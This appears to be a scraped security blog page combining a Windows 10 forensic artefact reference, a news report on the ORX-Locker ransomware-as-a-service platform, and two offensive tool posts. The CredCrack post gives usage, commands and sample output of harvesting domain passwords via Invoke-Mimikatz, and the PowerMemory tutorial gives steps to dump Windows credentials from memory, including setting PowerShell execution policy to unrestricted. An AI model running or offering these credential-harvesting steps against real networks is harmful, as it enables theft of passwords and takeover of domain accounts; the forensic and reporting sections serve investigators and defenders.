Windows 10 hacks

The following were stuff which would help you to do some hacks in windows 10

All the credits of this post should go to Brent Muir and security affairs editor, since it was them that shared a presentation with all the topics. In the bottom of the post you can get the link to his presentation.

  

File Systems / Partitions

Supported File Systems:

 NTFS, Fat32, ExFat

Default Partition structure:

- “Windows” – core OS (NTFS)
- “Recovery” (NTFS)
- “Reserved”
- “System” – UEFI (Fat32)
- “Recovery Image” (NTFS)

 Registry Hives

- Registry hives format has not changed

  Can be examined with numerous tools
    (e.g. RegistryBrowser, RegistryViewer, X-Ways Forensics, etc.)

- Location of important registry hives:

\Users\user_name\NTUSER.DAT
\Windows\System32\config\DEFAULT
\Windows\System32\config\SAM
\Windows\System32\config\SECURITY
\Windows\System32\config\SOFTWARE
\Windows\System32\config\SYSTEM

 Event Logs

- EVTX log format has not changed

   Can be examined with numerous tools
    (e.g. X-Ways Forensics, etc.)

- Location of EVTX logs:

\Windows\System32\winevt\Logs\

Event Logs – Windows Store

\Windows\System32\winevt\Logs\Microsoft-Windows-Store%4Operational.evtx

\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx

 

 

 Prefetch

\Windows\Prefetch\
 

Shellbags

- NTUSER.dat

\SOFTWARE\Microsoft\Windows\Shell\Bags\

- UsrClass.dat

LNK Shortcuts

- LNK format has not changed

  Can be examined with numerous tools
    (e.g. X-Ways Forensics, etc.)

- Useful fields:

  Hostname
  MAC Address
  Volume ID
  Owner SID
  MAC Times

Thumbcache

Location of Thumbcache files:

\Users\user_name\AppData\Local\Microsoft\Windows\Explorer\

Recycle Bin

- Recycle Bin artefacts have not changed
$I
Still provides original file name and path

$R
Original file

Volume Shadow Copies

- vssadmin tool still provides list of current VSCs

 Windows Indexing Service

- Windows indexing service is an evidentiary gold mine

Potentially storing emails and other binary items
Great as dictionary list for password cracking

- Stored in an .EDB file

Can be interpreted by EseDbViewer, ESEDatabaseView or X-Ways Forensics
If “dirty” dismount, need to use esentutl.exe

- In Windows 10 stored in the following directory:
C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb

Cortana

- Windows 10 features “Cortana”, a personal assistant, which expands upon the unified search platform introduced in Windows 8,

Search encompasses local files, Windows Store & online content
Can set reminders
Can initiate contact (e.g. write emails)

- Cortana Databases (EDBs):

\Users\user_name\AppData\Local\Packages\Microsoft.Windows.Cortana_xxxx\AppData\Indexed DB\IndexedDB.edb   
\Users\user_name\AppData\Local\Packages\Microsoft.Windows.Cortana_xxxx\LocalState\ESEDatabase_CortanaCoreInstance\CortanaCireDb.dat
   
Interesting Tables:

LocationTriggers
Latitude/Longitude and Name of place results
Geofences
Latitude/Longitude for where location based reminders are triggered
Reminders
Creation and completion time (UNIX numeric value)

- The following databases contain a list of contacts synched from email accounts:

\Users\user_name\AppData\Local\Packages\Microsoft.Windows.Cortana_xxxx\LocalState\Contacts_xxxxx.cfg

\Users\user_name\AppData\Local\Packages\Microsoft.Windows.Cortana_xxxx\LocalState\Contacts_xxxxx.cfg.txt

Notification Centre

- The following databases contain a list of notifications:

\Users\user_name\AppData\Local\Microsoft\Windows\Notifications\appdb.dat

Toast notifications are stored in embedded XML

 

Picture Password

- “Picture Password” is an alternate login method where gestures on top of a picture are used as a password

- This registry key details the path to the location of the “Picture Password” file:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\PicturePassword\user_GUID

- Path of locally stored Picture Password file:

C:\ProgramData\Microsoft\Windows\SystemData\user_GUID\ReadOnly\PicturePassword\background.png
 

Applications

- Applications (Apps) that utilise the Metro Modern UI are treated differently to programs that work in desktop mode

- Apps are installed in the following directory:

\Program Files\WindowsApps\

- Settings and configuration DBs are located in following directories:

\Users\user_name\AppData\Local\Packages\package_name\LocalState\

Two DB formats:
SQLite DBs (.SQL)
Jet DBs (.EDB)

Windows Store

- Apps are purchased/installed via the Windows Store

- During the Insider Preview their was a Beta Store which contained Windows 10 –compatible Apps (e.g. Microsoft Office Apps)

- Registry key of installed applications:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\

- List of deleted applications:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\

Edge Browser

- New web browser and rendering engine (Spartan)

- Same as IE10, records no longer stored in Index.DAT files, stored in EDB

- Edge settings are stored in the following file:

\Users\user_name\AppData\Local\Packages\Microsoft.MicrosoftEdge_xxxxx\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\xxxxx\DBStore\spartan.edb   
   
- Edge cache stored in the following directory:

\Users\user_name\AppData\Local\Packages\Microsoft.MicrosoftEdge_xxxx\AC\#!001\MicrosoftEdge\Cache\

- Last active browsing session stored:   

\Users\user_name\AppData\Local\Packages\Microsoft.MicrosoftEdge_xxxx\AC\MicrosoftEdge\User\Default\Recovery\Active\

Browser History Records

- Edge (and IE) history records stored in the following database:

\Users\user_name\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat

- This is actually an .EDB file
- Can be interpreted by EseDbViewer or ESEDatabaseView
- Might be a “dirty” dismount, need to use esentutl.exe
- Database also stores Cookies

Internet Explorer (legacy)

- Internet Cache stored in this directory:

\Users\user_name\AppData\Local\Microsoft\Windows\INetCache\

- Internet Cookies stored in this directory:

\Users\user_name\AppData\Local\Microsoft\Windows\INetCookies\

Email (Mail application)

- Body of emails are stored in TXT or HTML format

Can be analysed by a number of tools
Stored in the following directory:

\Users\user_name\AppData\Local\Comms\Unistore\data\   

- Metadata of emails are stored in the following DB (EDB format):

\Users\user_name\AppData\Local\Comms\UnistoreDB\store.vol

- Attachments
- Email header
- Contact information

Unified Communication

- Unified Communication (UC) is a built-in Microsoft application that brings together all of the following social media platforms (by default):

Appears to be scaled back from Windows 8.x (less integrated as previous People App)

- UC settings are stored in the following DB:

\Users\user_name\AppData\Local\Packages\microsoft.windowscommunicationsapps…\LocalState\livecomm.edb

Interesting Tables:

- Account
SourceID
List of accounts (e.g WL = Windows Live, Skype, TWITR, LI = LinkedIn)
DomainTag
Username for each account

- Contact
List of synched contacts across all account platforms

- Event
Calendar entries (including birthdays of contacts if synched to Windows Live) and locations

- MeContact
Further details about owner accounts

-Person and PersonLink
Further details about each contact including what account they link back to (e.g Skype)

- Locally cached contact entries are stored in this directory:

\Users\user_name\AppData\Local\Packages\microsoft.windowscommunicationsapps_xxxxx\LocalState\Indexed\LiveComm\xxxxx\xxxxx\People\AddressBook\
  
- Contact photos are stored in this directory (JPGs):

\Users\user_name\AppData\Local\Packages\microsoft.windowscommunicationsapps_xxxx\LocalState\LiveComm\xxxx\xxxx\UserTiles\

Twitter App

- History DB located in following file:

\Users\user_name\AppData\Local\Packages\xxxx.Twitter_xxxxxxx\LocalState\twitter_user_id\twitter.sqlite

- SQLite3 format DB

11 Tables in DB

Relevant tables:
- messages – holds tweets & DMs
- search_queries – holds searches conducted in Twitter app by user
- statuses – lists latest tweets from accounts being followed
- users – lists user account and accounts being followed by user

- Settings located in file:

\Users\user_name\AppData\Local\Packages\xxxxx.Twitter_xxxx\Settings\settings.dat

- Includes user name (@xxxxx)
- Details on profile picture URL
- Twitter ID number

Skype App (legacy)

- The Skype App was discontinued with Windows 10

Windows 10 prompts you to download the desktop Skype application

OneDrive App

- Built-in by default, API allows all programs to save files in OneDrive

- List of Synced items located in file:
\Users\user_name\AppData\Local\Microsoft\Windows\OneDrive\settings\xxxxxxxx.dat

- Locally cached items are stored in directory:
\Users\user_name\OneDrive\

Microsoft Office Apps

- With the release of the Windows Insider program Microsoft introduced the Office Mobile Apps

If you have a valid Office365 account then you can edit and create documents
Otherwise these Apps are read-only

Word App

- List of recent documents stored in the following file (XML):

\Users\user_name\AppData\Local\Packages\Microsoft.Office.Word_xxxx\LocalState\AppData\Local\Office\16.0\MruServiceCache\xxxx_LiveId\Excel\Documents_en-AU

- Cached files stored in this directory:

\Users\user_name\AppData\Local\Packages\Microsoft.Office.Word_xxxx\LocalState\OfficeFileCache\   

- Files stored as .FSD extension - actually data embedded
- Can be manually carved from FSD file

Excel App

- List of recent documents stored in the following file (XML):

\Users\user_name\AppData\Local\Packages\Microsoft.Office.Excel_xxxx\LocalState\AppData\Local\Office\16.0\MruServiceCache\xxxx_LiveId\Excel\Documents_en-AU

- Cached files stored in this directory:

\Users\user_name\AppData\Local\Packages\Microsoft.Office.Excel_xxxx\LocalState\OfficeFileCache\

Files stored as .FSD extension  actually data embedded
Can be manually carved from FSD file

PowerPoint App

- List of recent documents stored in the following file (XML):

\Users\user_name\AppData\Local\Packages\Microsoft.Office.PowerPoint_xxxx\LocalState\AppData\Local\Office\16.0\MruServiceCache\xxxx_LiveId\Excel\Documents_en-AU

- Cached files stored in this directory:

\Users\user_name\AppData\Local\Packages\Microsoft.Office.PowerPoint_xxxx\LocalState\OfficeFileCache\
   
Files stored as .FSD extension - actually data embedded
Can be manually carved from FSD file

OneNote  App

 

Cached files stored in this directory:

\Users\user_name\AppData\Local\Packages\Microsoft.Office.OneNote_xxxx\LocalState\AppData\Local\OneNote\16.0\   

- Files stored as xxxx.bin extension
Encoded binary files
Embedded graphics such as PNG or JPG

Maps App

- Recent places stored in this file (XML):
\Users\user_name\AppData\Local\Packages\Microsoft.WindowsMaps_xxxx\LocalState\Graph\xxxx\Me\00000000.ttl

Latitude/Longitude
Dates modified (searched)

Memory Acquisition

- WinPMEM (tested versions 1.6.2 & 2.0.1):

Run as Administrator
Has to extract driver to local temp location
V1.6.2 running process ~10MB
V2.0.1 running process ~80MB

- FTK Imager:

Run as Administrator
Running process ~15MB

Live Disk Acquisition

- FTK Imager

Can be used for Physical or Logical acquisition

- X-Ways Forensics

Can be used for Physical or Logical acquisition

Sources: 

Presentation
FTK Imager
Nirsoft ESEDatabaseView
RegistryBrowser
WinPMEM

Read More

ORX Locker a new ransomware

Security experts at Sensecy have uncovered ORX-Locker, a Darknet Ransomware-as-a-service platform that could allow everyone to become a cyber criminal.

It is becoming even easier to become a cyber-criminal thanks to the model of sale known as malware-as-a-service that offers off-the-shelf malware for rent or sale. Recently malware authors started to offer also Ransomware-as-a-Service (RaaS), in August security experts at McAfee discovered in the Deep Web a ransomware-construction kit, dubbed Tox ransomware platform that allows easy to build malware in just 3 steps, implementing this model of sale.
Now experts at Sensecy are warning of a new RaaS platform dubbed titled ORX-Locker, it allows criminals to create their piece of malware to infect systems and request the payment of a fee to unlock the system.
In RaaS model, when victims decide to pay, the malware redirects them through a service provider that keeps a percent of the fee and forwards the rest to the criminal.
ORX implements a sophisticated AV evasion method and complex communication techniques, the researchers discovered that it uses universities and other platforms as control infrastructure.
The First Appearance for the ORX ransomware is dated August 25, 2015, when a user dubbed orxteam announced the availability of a new RaaS service in a post.

The team ORX developed a hidden service to implement the RaaS, the experts highlight that the website requests a few details to new users.
“To enter the site, new users just need to register. No email or other identifying details are required. Upon registration, users have the option to enter a referral username, which will earn them three percent from every payment made to the new user.” state the post that provides a detailed description of the ORX platform.
In order to create a ransomware stub the users just need to add the ID number (5 digits max) and the ransom price (ORX put a minimum of $75), then they have to click the Build EXE button.
The user can easily withdraw his earnings by transferring them to a Bitcoin address by using the Wallet function. The Orx ransomware platform also implements a friendly statistics on its users.
The Orx Ransomware is a zip file containing the binary for the malware.
The researchers at Sensecy have identified these addresses belonging the C&C infrastructure.

1. 130[.]75[.]81[.]251 – Leibniz University of Hanover
2. 130[.]149[.]200[.]12 – Technical University of Berlin
3. 171[.]25[.]193[.]9 – DFRI (Swedish non-profit and non-party organization working for digital rights)
4. 199[.]254[.]238[.]52 – Riseup (Riseup provides online communication tools for people and groups working on liberatory social change)

The Orx ransomware encrypts the victim’s files and informs it about the infection by displaying a popup message, it also creates on the desktop a file containing the payment instruction.

The post published by the researchers at Sensecy includes also the Yara rule for the malware detection.

Read More

How to steal windows passwords from domain

CredCrack

Introduction

---

CredCrack is a fast and stealthy credential harvester. It exfiltrates credentials recusively in memory and in the clear. Upon completion, CredCrack will parse and output the credentials while identifying any domain administrators obtained. CredCrack also comes with the ability to list and enumerate share access and yes, it is threaded!
CredCrack has been tested and runs with the tools found natively in Kali Linux. CredCrack solely relies on having PowerSploit's "Invoke-Mimikatz.ps1" under the /var/www directory. Download Invoke-Mimikatz Here

Help

---

usage: credcrack.py [-h] -d DOMAIN -u USER [-f FILE] [-r RHOST] [-es]
                    [-l LHOST] [-t THREADS]

CredCrack - A stealthy credential harvester by Jonathan Broche (@g0jhonny)

optional arguments:
  -h, --help            show this help message and exit
  -f FILE, --file FILE  File containing IPs to harvest creds from. One IP per
                        line.
  -r RHOST, --rhost RHOST
                        Remote host IP to harvest creds from.
  -es, --enumshares     Examine share access on the remote IP(s)
  -l LHOST, --lhost LHOST
                        Local host IP to launch scans from.
  -t THREADS, --threads THREADS
                        Number of threads (default: 10)

Required:
  -d DOMAIN, --domain DOMAIN
                        Domain or Workstation
  -u USER, --user USER  Domain username

Examples: 

./credcrack.py -d acme -u bob -f hosts -es
./credcrack.py -d acme -u bob -f hosts -l 192.168.1.102 -t 20

Examples

---

Enumerating Share Access

./credcrack.py -r 192.168.1.100 -d acme -u bob --es
Password:
 ---------------------------------------------------------------------
  CredCrack v1.1 by Jonathan Broche (@g0jhonny)
 ---------------------------------------------------------------------

[*] Validating 192.168.1.102
[*] Validating 192.168.1.103
[*] Validating 192.168.1.100

 -----------------------------------------------------------------
 192.168.1.102 - Windows 7 Professional 7601 Service Pack 1 
 -----------------------------------------------------------------

 OPEN      \\192.168.1.102\ADMIN$ 
 OPEN      \\192.168.1.102\C$ 

 -----------------------------------------------------------------
 192.168.1.103 - Windows Vista (TM) Ultimate 6002 Service Pack 2 
 -----------------------------------------------------------------

 OPEN      \\192.168.1.103\ADMIN$ 
 OPEN      \\192.168.1.103\C$ 
 CLOSED    \\192.168.1.103\F$ 

 -----------------------------------------------------------------
 192.168.1.100 - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 
 -----------------------------------------------------------------

 CLOSED    \\192.168.1.100\ADMIN$ 
 CLOSED    \\192.168.1.100\C$ 
 OPEN      \\192.168.1.100\NETLOGON 
 OPEN      \\192.168.1.100\SYSVOL 

[*] Done! Completed in 0.8s

Harvesting credentials

---

./credcrack.py -f hosts -d acme -u bob -l 192.168.1.100
Password:

 ---------------------------------------------------------------------
  CredCrack v1.1 by Jonathan Broche (@g0jhonny)
 ---------------------------------------------------------------------

[*] Setting up the stage
[*] Validating 192.168.1.102
[*] Validating 192.168.1.103
[*] Querying domain admin group from 192.168.1.102
[*] Harvesting credentials from 192.168.1.102
[*] Harvesting credentials from 192.168.1.103

                  The loot has arrived...
                         __________
                        /\____;;___\    
                       | /         /    
                       `. ())oo() .      
                        |\(%()*^^()^\       
                       %| |-%-------|       
                      % \ | %  ))   |       
                      %  \|%________|       


[*] Host: 192.168.1.102 Domain: ACME User: jsmith Password: Good0ljm1th
[*] Host: 192.168.1.103 Domain: ACME User: daguy Password: P@ssw0rd1!

     1 domain administrators found and highlighted in yellow above!

[*] Cleaning up
[*] Done! Loot may be found under /root/CCloot folder
[*] Completed in 11.3s

Download credcrack from here

Read More

Power Memory : Tutorial

This post explains how to use the PowerMemory script to reveal the passwords used by users of the computers running under Windows systems.

Disclaimer
Any actions and or activities related to the material contained within this blog is solely your responsibility.The misuse of the information in this website can result in criminal charges brought against the persons in question. The authors will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.
This script is published for educational use only. I am no way responsible for any misuse of the information.
This article is related to Computer Security and I am not promote hacking / cracking / software piracy.
This article is not a GUIDE of Hacking. It is only provide information about the legal ways of retrieving the passwords. You shall not misuse the information to gain unauthorised access. However you may try out these hacks on your own computer at your own risk. Performing hack attempts (without permission) on computers that you do not own is illegal.
Today I want to present a powerful script dubbed PoweMemory that allows pen testers to extract user credentials present in memory and files. PoweMemory is a script developed by Pierre-Alexandre Braeken to make a proof of concept of how retrieve Windows credentials with Powershell and CDB Command-Line Options (Windows Debuggers). It works on Windows OS from Windows 2003 to 2012 and according to the author it is able to retrieve credentials also from Windows 10.
PoweMemory was tested on 2003, 2008r2, 2012, 2012r2 and Windows 7 – 32 and 64 bits, Windows 8 and Windows 10 Home edition.
Features:
+ it’s fully PowerShell
+ it can work locally, remotely or from a dump file collected on a machine
+ it does not use the operating system .dll to locate credentials address in memory but a simple Microsoft debugger
+ it does not use the operating system .dll to decypher passwords collected –> it is does in the PowerShell (AES, TripleDES, DES-X)
+ it breaks undocumented Microsoft DES-X
+ it works even if you are on a different architecture than the target
+ it leaves no trace in memoryless


The steps necessary to use PoweMemory and retrieve user credentials are:
1) Download the tool
2) Extract the files contained in the ZIP archive
3) Execute PowerShell with Administrator Rights
4) Prepare your environment (Enter this command : “Set-ExecutionPolicy Unrestricted -force”and press Enter)
5) Open the tool into PowerShell (Browse to the place where you extract the tool you download in step 1 and click on Reveal-MemoryCredentials.ps1 and then on Open).
6) Launch the tool
7) Get password

The PowerMemory tool is available for download at PowerMemory.zip(1.32 MB)  | Clone Url
meanwhile its source is available on GitHub https://github.com/giMini,

Read More